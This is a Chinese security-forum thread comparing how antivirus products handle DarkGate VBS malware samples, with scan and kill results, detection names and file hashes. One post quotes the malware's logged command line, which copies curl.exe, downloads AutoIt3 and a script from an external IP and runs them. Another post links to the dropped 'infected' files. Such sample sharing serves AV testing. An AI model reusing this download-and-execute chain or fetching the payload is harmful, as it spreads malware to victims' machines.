#DarkGate (2023-09-25)

显示全部楼层 · 发表于 2023-9-26 14:20:34

火绒
扫描：MISS ALL

双击：ALL

显示全部楼层 · 发表于 2023-9-26 18:45:11

本帖最后由 sanhu35 于 2023-9-26 18:50 编辑

行为: 网络连接（TCP）
拦截规则: 漏洞防御(拦截无文件攻击：禁止访问网络)
响应动作: 询问（允许）
进程名称: wscript.exe
进程路径: C:\Windows\System32\wscript.exe
进程命令行: "C:\Windows\System32\WScript.exe" "C:\Users\Administrator\Desktop\7489261cd6b25d6544d0380bd8446748bc6769d2135e286cfeadf995704c2a70.vbs"
操作目标: 94.228.169.143:2351

命令行复制curl.exe 并下载
"C:\Windows\System32\cmd.exe" /c mkdir c:\vjik & cd /d c:\vjik & copy c:\windows\system32\curl.exe vjik.exe & vjik -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & vjik -o wrztww.au3 http://94.228.169.143:2351/msivjikfjxb & Autoit3.exe wrztww.au3

衍生物：infected
https://sanhu.lanzouw.com/iT8lq19yodif

显示全部楼层 · 发表于 2023-9-26 18:50:22

FSCS & MalwareBytes miss all

显示全部楼层 · 发表于 2023-9-26 22:52:58

SOPHOS KILL ALL

在 C:\Windows\System32\wscript.exe 检测到 C2_10a (T1071.001)

复制代码

在 C:\Windows\System32\wscript.exe 检测到 C2_10a (T1071.001)

复制代码

在 C:\Windows\System32\wscript.exe 检测到 C2_10a (T1071.001)

复制代码

在 C:\Windows\System32\wscript.exe 检测到 C2_10a (T1071.001)

复制代码

显示全部楼层 · 发表于 2023-9-26 23:06:11

显示全部楼层 · 发表于 2023-9-26 23:55:08

CheckPoint 4X 扫描没结果，都是执行时发现的，就很奇怪。

显示全部楼层 · 发表于 2023-9-27 15:39:58

卡巴kill all

ae5992df220a719fca79f2322b6f40b43c61ff6e4e55b01183fb088953661537.vbs - HEUR:Trojan.VBS.SAgent.gen

复制代码

7489261cd6b25d6544d0380bd8446748bc6769d2135e286cfeadf995704c2a70.vbs - HEUR:Trojan.VBS.SAgent.gen

复制代码

a7312f01db21efd84be0a4e596fefb6ebbc388655ab19a642bf44360f1409382.vbs - HEUR:Trojan.VBS.SAgent.gen

复制代码

76c05700db7e88ee5ecd5bf33ea27e0a78b42760253463727d955a41cb9d3fad.vbs - HEUR:Trojan.VBS.SAgent.gen

复制代码

显示全部楼层 · 发表于 2023-9-27 17:46:25

金山毒霸kill all

[病毒样本] #DarkGate (2023-09-25)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源